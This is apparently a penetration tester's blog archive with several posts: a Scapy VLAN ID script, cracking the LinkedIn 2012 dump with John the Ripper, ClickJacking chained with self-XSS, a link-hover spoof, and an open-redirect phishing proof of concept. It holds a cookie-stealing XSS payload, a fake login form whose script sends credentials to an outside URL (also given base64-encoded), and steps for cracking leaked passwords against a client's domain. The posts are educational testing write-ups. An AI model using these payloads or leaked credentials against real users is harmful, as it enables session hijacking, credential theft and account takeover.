Category Archives: Pentesting

Using Eclipse + PyDev as an IDE for Python in Kali

I have been making more and more Python scripts in the last 4 years. I have always had sub-optimal environments for doing so. With no interest in a debate on the best text editor. What I really wanted was an IDE. One that I can understand is ideal. As it happened I have some experience of Eclipse and tonight I found “PyDev”.

PyDev is free, easy to install, and gives me code auto-completion which I have rarely had in my Pythonic adventures to date. I love me code auto-completion. I have had it in various editors. However, I trash my Kali VMs with such regularity that I’d rather have something with an easier install than things to backup.

I am installing into a fresh install of Kali 2017.1 here. Anything else and you may have a different experience.

Prerequisites

All we need is eclipse and java 8. Install them as shown below:


apt-get install eclipse

apt-get install openjdk-8-jdk

When I did this Kali installed eclipse 3.8.1. This is not the latest. The newest PyDev works for later versions of eclipse. We need to install from the PyDev 4.X release stream. If you use the wrong release stream then PyDev will not show up in the GUI after installation.

Installing PyDev

Goto “Help” -> “Install New Software”

This will show you a screen where you can add a repository as shown:

add-repo

Do the things in the number order above. To save you precious typing the Location is:

https://dl.bintray.com/fabioz/pydev/4.5.5/

You now have to select your install as shown:

select-install

Follow the numbered steps again. Then click “Next” on the subsequent screen with the title “Install”.

At this point you will get the security warning prompts. This is because the package is self-signed:

accept-risky-thing

It is risky. There is no doubt here that taking something with an insecure certificate is a risk. When I followed the official guide I got the same error but that was using a repository over plain-text HTTP. Neither of those cases is really up to snuff when it comes to security.

But this is an opensource project which is being made free of charge for the love of the community. So is the entire stack you are sitting on!

I rolled my risk o-meter and said my VM isn’t having customer data in it.

After the installation is complete Eclipse will restart. Then you can check that the installation worked by going to: “Window” -> “Preferences” -> PyDev.

If you have that PyDev menu there then you are all setup. Congratulations and now enjoy your Python Dev with code completion and everything you would want.

Debugging

If you do not see the PyDev option under “Window” -> “Preferences”, then:

  1. You didn’t install java 8; or
  2. You didn’t install from the 4.X release stream of PyDev if you are using Eclipse 3.8.X

Or  you have a new problem I did not encounter during this setup.

 

Using Python and Scapy to hunt for VLAN IDs

A customer asked me to check for Cisco Discovery Protocol (CDP) based VLAN hopping on their LAN. It had been reported the year before and, while they hoped that it had been addressed, they wanted me to confirm that it had.

When pentesting it can often be the case that you are basically verifying the solutions to problems that some hacker from another company got to run riot with before.

Far from a burden, it gave me a chance to brush up a little bit. It got me to play with scapy a bit and so this post is basically so I can save my python code in-case I need it again, while sharing it in case it helps someone.

The easy tool for this has been Frogger for several years. It will conduct packet sniffing on an interface looking for CDP packets. Snarffle the VLAN IDs and some other information and then ask you exactly how you want to own a network.

I ran frogger and shock! No VLAN data and no CDP packets to play with. I optimistically increased the packet capture to 3 minutes and tried again. Nope…

Well I guess last years team had much more fun than me.

False Negatives

A thing to remember about Frogger is that if you are trying to run it inside a virtual machine then you might actually be getting false negatives here. Where a false negative is the absence of the vulnerability despite you doing almost the right thing to check for it.

The Readme.md for Frogger says this:

Notes for VMware. VLAN hopping generally (not just this script) can have issues within VMware if running the VM within Windows with certain Intel drivers. The Intel drivers strip off the tags before it reaches the VM. Either use an external USB ethernet card such as a DLink USB 2.0 DUB-E100 (old model 10/100 not gigabit) or boot into Backtrack nativiely from a USB stick. Intel has published a registry fix, to work on some models: http://www.intel.com/support/network/sb/CS-005897.htm – adding “MonitorMode” 1 to the registry does resolve the issue.”

I am paranoid about false negatives so I always run around with a USB Ethernet Device. I did use this for my run of frogger and so I was pretty much certain it was not a false negative.

Checking for the VLAN IDs

Earlier in the engagement I had captured around 2 hours worth of network traffic into a pcap file. This was done from my host OS and not from within my Kali VM. This would therefore have no doubt about capturing all the layer-2 juiciness. Since it was already sitting around why not use python to parse the pcap file and tell me any VLAN ID’s it contained?

You could use a wireshark filter (and I show you the expression at the end of this post). But I am doing things pythony more an more so lets get to scapy.

Enter the VLAN ID hunting script:

from scapy.all import *
from scapy.utils import *
import sys

if len(sys.argv)!=2:
   print sys.argv[0] + " <pcap_file>"
   sys.exit(-1)

# If we get here we have a file
pcapfile = sys.argv[1]

# Loop through the file and check each packet
pkts=rdpcap(pcapfile)
for pkt in pkts:
   if pkt.haslayer(Dot1Q):
      print "VLAN ID: " + str(pkt[Dot1Q].vlan)

For full disclosure the above is heavily based on a stack overflow answer here:

https://stackoverflow.com/questions/8489960/how-to-extract-ethernet-level-data-from-pcap-file

All I did was give it a usage and command line argument for re-usability.

I ran this against my 2 hours worth of packets and found not a single VLAN ID. So absolutely on that day, on that part of the network, there was no evidence of last years vulnerability. Well done to the customer they fixed a thing!

I beg the audiences indulgence for a sidebar

There is an episode of Red Dwarf where Dave Lister gets sick with a radioactively mutated virus. He meets characters that represent both his confidence, and his paranoia. Right about now I was listening to my inner US game show host (representing my confidence). I was thinking: job done CornerPirate. Job done.

Then my paranoia spoke up. You haven’t tried the above script against a PCAP where you knew there was a VLAN id. What if it didn’t work?

Generating a PCAP with VLAN IDs

So lets make a pcap file which has some VLAN IDs in there. Back to python and scapy:

from scapy.all import *
from scapy.utils import *
import sys

def usage():
   print "\nUsage:"
   print "\t" + sys.argv[0] + " <vlan id>"
   sys.exit(-1)
if len(sys.argv)!=2:
   usage()

if sys.argv[1].isdigit() == False:
   print "Specified VLAN ID is not a number"
   usage()
# If we get here we have a vlan id to inject
vlanid = int(sys.argv[1])

# Craft a packet and send it
sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='11:22:33:44:55:66')/Dot1Q(vlan=vlanid)/IP(dst='255.255.255.255', src='192.168.0.1')/ICMP())

I ran the above with a few different numbers while using Wireshark to capture the packets. Visually I could now see there were definitely VLAN ID’s to be had as shown below:

vlan-id

Finding the VLAN ID using Wireshark Expression

The expression used was “vlan.id” which means “show packets which have a VLAN ID”. My 2 hours worth of packets resulted in zero packets for the same filter. My confidence was now building.

Rerunning my “check-vlan.py” script now showed the same results as Wireshark:

check-vlan

Listing out VLAN

So there you have it. I now know my script does what it intended to.

 

 

CVE-Offline to Word Reports

A common task when you are working with large amounts of vulnerabilities is a need to contextualise CVE (Common Vulnerability & Exposures). One mans slightly outdated Apache could be much worse than another for example depending on business risks.

What I do with something massively outdated is first make a comprehensive list of the CVE details in a spreadsheet. I then provide customers with raw statistics like: there were 22 with a CVSS score of 10.0 etc. You then want to narrow the field and find those with exploits etc.

The following video does not show you the analysis but it does show you how to use CVEOffline to get a table into word:

This has saved me lots of time but it has never really been documented effectively and a video seemed the easiest way for this.

Get CVE-Offline from github here:

https://github.com/cornerpirate/cve-offline

I update the database monthly. The database is also integrated monthly into the release stream of ReportCompiler here:

https://github.com/cornerpirate/ReportCompiler

ReportCompiler allows you to import vulnerabilities from Nessus and other VA scanners. You can select one or more vulnerability in RC’s tree view. Right Click and gain quick access to a spreadsheet of the CVEs references in those vulns.

Hope that helps.

John the Ripper vs LinkedIn 2012 Dump

When profiling an organisation you should at least check for their email domain within that data set. If any staff have used their work email address when they signed up to LinkedIn pre-2012, then you may have a quick win.

On several tests this year we have used this to authenticate to external corporate services such as: VPNs, or Outlook Web Access. Showing a) that password reuse is alive and well in 2017, and b) that our target users have not updated their work credentials in years!

You must obtain the raw data from the dump to do this. Google it, torrent it, beg or borrow it. It is widely obtainable, but I am not about to host the file myself.

Getting prepared

I downloaded the most recent Kali VM:

Which had a version of John the Ripper installed that supported the correct hashing format.

Finding Targets

Your first challenge is to find targets at your clients domain. A simple grep:

grep domain.org linkedin.txt >> targets.txt

Converting to Crackable File Format

The version of “linkedin.txt” that I have access to is formatted using colons to separate columns. The format seems to be:

<id>:<emailaddress>:<hash>

For JTR to work for us here we need to match this format:

<username>:<hash>

We can use the email address as the username so basically we need to get rid of the “id” portion. Which we can do simply using “cut”:

cat targets.txt | cut -d ":" -f 2-3 >> hashes.txt

Syntax for Wordlist based attack

To use a wordlist attack I used the command shown below:

john --wordlist=/path/to/wordfile --format=Raw-SHA1 hashes.txt

The key reason I am writing this down is I keep forgetting the “–format” part and it seems a little harder to Google for it than I hope each time!

Much Success!

Here is a picture of how effective even the rockyou.txt file can be. For one of the domains in the LinkedIn leak we cracked a whole load of passwords in seconds:

linked-in-hacking

For people with slightly better passwords we have had success profiling that individual and making custom wordlists.

Hope that is of use to someone. It certainly will help me remember

 

Understanding ClickJacking

ClickJacking is a common flaw in most web applications which allows an attacker to execute actions within the session of their victim. The topic has been very well covered by OWASP at references [1] and [2] at the end of this article.

It is often misunderstood. The following points need to be kept in mind:

  • The user must be authenticated to the TARGET application or it must have some sensitive functionality in there worthy of attack.
  • It must be possible for the TARGET application to be loaded within an html “iframe” tag on another site.
  • The attacker must create an EXPLOIT web page and deliver it to the victim (using Phishing etc).
  • While the victim interacts with content at the EXPLOIT site, their interactions are being redirected to the TARGET application.

The key part is that the EXPLOIT site will present the victim with some content which will encourage them to interact with it. The iframe containing the TARGET site will be hidden in some fashion so that the victim is clueless that they are being exploited.

Additionally, you need to know that this is a “blind” attack by default. By this I mean that you will not have read access to the HTML within the TARGET page (unless that site has some form of self Cross-Site Scripting (XSS) — which is fun, so I will show later).

Think of this as Cross Site Request Forgery (CSRF) [3]. If you find something that can be executed on the target site, which is advantageous to an attacker, but it already has CSRF defences in place? This is the situation where ClickJacking can be your friend.

This post is not about how to actually exploit ClickJacking. It is about how to prove a site has a vulnerability while conducting a penetration test, or for developers to understand the same.

Questions you have to answer

To prove that a site would have an impact from ClickJacking, you need to answer these questions:

  1. Can the site be loaded within an iframe?
  2. Does the target site have something which is actually exploitable using ClickJacking techniques?

The first question is easily answered. Create an HTML file which includes the URL for the sensitive functionality within an iframe tag. The following would do that job:

<iframe src="http://target/function">/iframe>

Change the “src” to point to your juicy function (such as “change email address” or whatever). Save that into a “.html” file locally. Authenticate to the application in one tab of your browser and then open that local file.

If the site loads within the iframe then there are likely no defences in place.

The second question is the one that most people I have taught seem to struggle with. They get excited about seeing the target load in the iframe and rush off to report it!

Hold your horses folks. If there is nothing which would be of value to an attacker to exploit, then it would be a much lower risk. You want to review the website and look for things like:

  • Self-XSS (which is demoed later as a treat to you all).
  • Change Password form without current password required.
  • Change associated email address without current password required.
  • Like or upvote something by way of a click which could improve an attacker’s rating.

The list could be much much longer. Find something that has a security impact and only requires a couple of clicks, or some content controllable by the attacker to be pasted to execute.

If you don’t find functionality like that, then your customer needs to be told they should turn on ClickJacking defences as a matter of best practices. If you do find something then the impact needs to be set dependent on the risks of an attacker doing that to a victim.

That is my point made. The next bit is just for giggles.

Example: Chaining ClickJacking with Self-XSS

Tonight I found “XSSJacking” by dxa4481 on GitHub (see reference [4]). This pretty much did what I came here to show. So I started with that, and then modified it.

You can use ClickJacking to deliver XSS payloads into the session of a victim. This is useful when the way to exploit the XSS would be to literally type the exploit into a text field for example. Until ClickJacking these were basically considered unexploitable. Welcome to the party self-XSS!

I cloned XSSJacking using:

git clone https://github.com/dxa4481/XSSJacking.git

This is pretty simple and has the following files:

  1. index.html – this is the TARGET site.
  2. main.js – contains JavaScript used by index.html (TARGET) to trigger the self-xss.
  3. index2.html – this is the EXPLOIT site.

I wanted to modify these to create an example where I was able to hijack a cookie from TARGET site.

The following is the content of “index.html”:

<html>
    <head>
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
        <script src="main.js"></script>

	<!-- Added by cornerpirate to create a cookie -->
	<script>
	document.cookie="secret="+new Date().getTime();
	</script>

    </head>
    <body ng-app="xssApp" ng-controller="mainController">
<h1></h1>
<textarea placeholer="Vulnerable to XSS" ng-model="textArea" ng-change="checkForAlert(textArea)" style="height:100%; width:100%;">
        </textarea>

	<!-- Added by cornerpirate to create a div with id "exploitMe" in the page -->
<div id="exploitMe"></div>
</body>
</html>

To this I added a “div” tag with an id for easy accessing via JavaScript. The following is the content of “main.js”:

var redisApp = angular.module('xssApp', []);
redisApp.controller('mainController', ['$scope', function($scope) {
    $scope.checkForAlert = function(text){
	// Modified by cornerpirate to dangerously put
	// any text into the "innerHTML" of the "exploitMe" div.
	document.getElementById("exploitMe").innerHTML=text;
    }
}]);

I removed the safety from the original demo (because ‘you only live once’). Notice that I use the “innerHTML” of the div to set the “text” which was passed by angular. The following is the content of “index2.html”:

<html>
<head>
</head>
<body>
Enter your email below to register:
</br>
<textarea autofocus style="width:220px; height:35px;"></textarea>
</br>
Repeat your email:
</br>
<iframe style="width:230px; height:50px;" frameBorder="0" src="http://192.168.242.128:8080/index.html"></iframe>
</br>
<input type="submit"></input>
<script>
document.addEventListener('copy', function(e){
console.log(e);
e.clipboardData.setData('text/plain', '\x3Cimg\x20src\x3D\x22x\x22\x20onerror\x3D\x22new\x20Image\x28\x29.src\x3D\x27http\x3A\x2f\x2flocalhost\x2fcookie\x3F\x27\x2bdocument.cookie\x22\x3E');
e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
});
</script>
</body>
</html>

I modified the URL used by the iframe. This means that the TARGET site is running on TCP port 8080 of my Kali VM.

I also modified the payload which is pasted. That is hard to read so I have decoded it as below:

<img src="x" onerror="new Image().src='http://localhost/cookie?'+document.cookie">

This will simply run a script which will send back a cookie to a listener on localhost. To recap we have this situation:

  1. TARGET site running on TCP port 8080 of kali.
  2. EXPLOIT site running on TCP port 80 of kali
  3. ATTACKER is listening on localhost (yea this should be another server but different origin anyway for the PoC).

By separating the ports they are different origins meaning that ClickJacking will actually get us something.

The following video shows you this all being pulled together:

On the right are two python listeners which host the TARGET and EXPLOIT sites.

On the left is a web browser and ncat listener on localhost.

The steps in the video are:

  1. I refresh the users page on the TARGET site.
  2. I show that there is a cookie set on the TARGET site.
  3. I then  goto the EXPLOIT site and copy the text in the email field. Doing this actually places the XSS payload into the copy/paste buffer.
  4. When I paste into the “repeat your email” it is actually inside the iframe which contains the TARGET site.
  5. The self-XSS executes and you can see the secret cookie value was sent back to the attacker.

To recap: the first half is about what you must do to professionally be able to find ClickJacking. The second gives you an example of what an attack might look like. In the day job of a pentester it is unlikely that you will ever exploit ClickJacking. But for your knowledge of the subject it is best that you play with it.

One day a customer is going to ask and you should have a great answer for them.

References

[1] https://www.owasp.org/index.php/Clickjacking

[2] https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

[3] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

[4] https://github.com/dxa4481/XSSJacking

Dodgy Link: Hiding the URL

It is very rare that I do Phishing campaigns (dang it I should ask to do more as they are interesting).  I do have to answer customer questions, and talk about security awareness training often though.

I have heard people saying that “just hover your mouse over a suspicious link and it shows you where it is going!”. Generally this is a good feature of web browsers. However, it is definitely not to be relied on as shown in the video below:

With a tiny bit of JavaScript you can defeat that particular part of someone’s security awareness training. The source code is available below:


<a id="hey" href="http://totallylegit.com"
onmouseover="document.getElementById('hey').href='http://totallylegit.com'"
 onclick="document.getElementById('hey').href='https://en.wikipedia.org/wiki/Dodgy'"
>Totally Legit</a>

Quite simple:

  1. When the mouse goes over the link the “onmouseover” event handler executes. This changes the URL to “http://www.totallylegit.com&#8221; so that is what the Web Browser shows to the user at the bottom.
  2. If the user actually clicks on the link the “onclick” event is triggered which replaces the URL with whatever we are actually wanting our victim to interact with.

Nothing new. Nothing earth shattering. I needed to document it as I have forgotten how to do this a few times but now it is written down forever. Hope it is useful.

Open (Redirect) Warfare

None of this is new. This week I needed to make an exploit PoC for an open redirect. The short version is this:

  1. Customer had an Open Redirect vulnerability.
  2. This prevented certain things and did have some defences in place.
  3. It did not prevent the “data:” URI.
  4. So this article shows simply how to make a fake login form. *

* various browsers protect users. Mileage on this one definitely varies.

Hopefully the tale of how this was made is of use to someone. It starts by explaining what an Open Redirect is for the uninitiated. It then proceeds by showing a vulnerable PHP page, how to generate the PoC, and then the action shot of it.

What is an Open Redirect?

Ironically our heroes at OWASP have chosen to call theirs “unvalidated redirects” now. Meaning that googling “Open Redirect” finds you this URL:

https://www.owasp.org/index.php?title=Open_redirect&redirect=no

Which ultimately redirects to this if you flip the “redirect=no” to “redirect=yes”:

https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet

But I am old school and like to call it an open redirect. I get the point they are conveying by calling it an unvalidated redirect. I just boo and hiss about being too old for new tricks.

The gist is: by modifying input to a website you are redirecting users to a URL of your choice.

For example, if a website had a URL of the following kind:

https://trustedsite/redirect.php?url=INJECT_HERE

If you set the “url” parameter to “https://www.secarma.co.uk“, when the victim clicked on the link they would be redirected to Secarma.

You are all about the impacts Mr Pirate. So explain to me the impact before I throw a brick at you. Ok, ok, I am getting there. There are typically two impacts of an open redirect:

  1. Phishing – Create a malicious link and email (or otherwise present) your victims with it. When they are redirected to your #EvilSite you ask them to enter credentials or something else you need.
  2. Drive by download – if I can make your browser view content that I control then I can attempt to exploit your browser and all of the applications you have installed. Technically this is just a different payload for phishing, but I do see this as a worst case scenario. On a legit penetration testing engagement you should never be simulating this. Imagine the carnage of auto owning browsers for thousands of people?

What an open redirect gains you over simply emailing a link to #EvilSite is simply a little bit of legitimacy. The link will initially point at #TrustedSite but when the browser loads the page it will be forwarded to #EvilSite. If your victim is moderately savvy and checks the hostname in the URL before they click. With an open redirect they would be at risk since the ultimate destination is not the host name of the original link.

Make a vulnerable Open Redirect

You will need a safe place to play with this. Do not go and find something vulnerable on the Internet. Just make your own. I did, and you can see the code below:

<html>
	<head>
		<title>Vulnerable to a redirect</title>
	</head>
	<body>
<h3>Page is vulnerable to an open redirect</h3>
Add a parameter to the URL called "url" and resubmit.
	</body>
<?php
if(isset($_GET['url'])) {
$redirect_url = $_GET['url'];
header('Location: ' . $redirect_url); // vulnerable redirect
} ?>
</html>

The vulnerable part is the call to the “header” function which uses without checks the value of the get parameter “url”.

Save this in a file “redirect.php”, and place this inside a web server with PHP enabled and start your web server.

Creating your PoC data URI

The data URI is typically used to embed images in my experience. However, it is capable of MIME type “text/html” which makes it dangerous. For this reason various browsers have defended against it as per Mozilla’s post below:

https://bugzilla.mozilla.org/show_bug.cgi?id=786275

Plough on regardless. Many people surf the old webs in dangerously old web browsers. As a pentester you have to proof of concept where you can. As it happened this was pretty much the only bug we had to play with, so go all out to explain why this is a risk by demonstration.

First you need to create some HTML that may exploit people. I went with a simple (and admittedly ugly looking) login page:

<form onsubmit="myFunction()">
  User: <input type="text" name="user"></br>
  Pass: <input type="password" name="pass"></br>
  <input type="submit" value="Submit">
</form>

<script>
function myFunction() {
    var gold = document.forms[0].user.value + ":" + document.forms[0].pass.value;
    // send the users credentials to yourself.
    new Image.src="https://cornerpirate.com/stealing?gold=" + encodeURI(gold);
    // redirect user back to the site they are expecting.
    window.location="<set this>";
}
</script>

Pretty simple really. A login form and a JavaScript which runs on submit that sends the credentials back to myself before redirecting the user back to the site they were expecting. That second step is important because you want to minimise the time they spend staring at your form.

To generate my data URI the lazy way I used this excellent free service:

https://dopiaza.org/tools/datauri/index.php

The following shows the process used for doing that:

data-uri2

How to generate your data URI

Pretty simple:

  1. Click on “Provide Text”.
  2. Paste your HTML in.
  3. Click “Explicitly specify mime type”
  4. Type “text/html” in as the mime type.
  5. Click “Generate Data URI”.

This will generate your URI on the screen and you can copy and paste it where you need to.

Using your PoC

Once you have generated your PoC above you will need to URL encode it. This is because the character set for Base64 encoding includes characters used within URLs such as “+” and “=”.

Raw PoC

data:text/html;charset=utf-8;base64,PGZvcm0gb25zdWJtaXQ9Im15RnVuY3Rpb24oKSI+DQogIFVzZXI6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIj48L2JyPg0KICBQYXNzOiA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjwvYnI+DQogIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPg0KPC9mb3JtPg0KDQo8c2NyaXB0Pg0KZnVuY3Rpb24gbXlGdW5jdGlvbigpIHsNCiAgICB2YXIgZ29sZCA9IGRvY3VtZW50LmZvcm1zWzBdLnVzZXIudmFsdWUgKyAiOiIgKyBkb2N1bWVudC5mb3Jtc1swXS5wYXNzLnZhbHVlOw0KICAgIC8vIHNlbmQgdGhlIHVzZXJzIGNyZWRlbnRpYWxzIHRvIHlvdXJzZWxmLg0KICAgIG5ldyBJbWFnZS5zcmM9Imh0dHBzOi8vY29ybmVycGlyYXRlLmNvbS9zdGVhbGluZz9nb2xkPSIgKyBlbmNvZGVVUkkoZ29sZCk7DQogICAgLy8gcmVkaXJlY3QgdXNlciBiYWNrIHRvIHRoZSBzaXRlIHRoZXkgYXJlIGV4cGVjdGluZy4NCiAgICB3aW5kb3cubG9jYXRpb249IjxzZXQgdGhpcz4iOw0KfQ==

URL Encoded PoC

data:text/html;charset=utf-8;base64,PGZvcm0gb25zdWJtaXQ9Im15RnVuY3Rpb24oKSI%2bDQogIFVzZXI6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIj48L2JyPg0KICBQYXNzOiA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjwvYnI%2bDQogIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPg0KPC9mb3JtPg0KDQo8c2NyaXB0Pg0KZnVuY3Rpb24gbXlGdW5jdGlvbigpIHsNCiAgICB2YXIgZ29sZCA9IGRvY3VtZW50LmZvcm1zWzBdLnVzZXIudmFsdWUgKyAiOiIgKyBkb2N1bWVudC5mb3Jtc1swXS5wYXNzLnZhbHVlOw0KICAgIC8vIHNlbmQgdGhlIHVzZXJzIGNyZWRlbnRpYWxzIHRvIHlvdXJzZWxmLg0KICAgIG5ldyBJbWFnZS5zcmM9Imh0dHBzOi8vY29ybmVycGlyYXRlLmNvbS9zdGVhbGluZz9nb2xkPSIgKyBlbmNvZGVVUkkoZ29sZCk7DQogICAgLy8gcmVkaXJlY3QgdXNlciBiYWNrIHRvIHRoZSBzaXRlIHRoZXkgYXJlIGV4cGVjdGluZy4NCiAgICB3aW5kb3cubG9jYXRpb249IjxzZXQgdGhpcz4iOw0KfQ%3d%3d

Next you will need to generate your exploit URL. If we recall the generic example from before:

https://trustedsite/redirect.php?url=INJECT_HERE

It really is as simple as pasting your URL encoded PoC into the spot labelled “INJECT_HERE”.

Bang that into your address bar and press enter and watch as your shoddy looking login form appears. The following shows the flow of this in Burp:

data-uri3

Redirect to data URI

Then to review that in my testing browser:

data-uri

PoC loaded in the browser

As you can see the address bar looks “scary”. Your suspicious victims will likely spot this. However, some that have been educated to check the hostname BEFORE clicking will already have done their due diligence and moved on to just logging in.

Personally I do not think it is *that* effective as a technique but it did give me a few glimmers of happiness in making the PoC.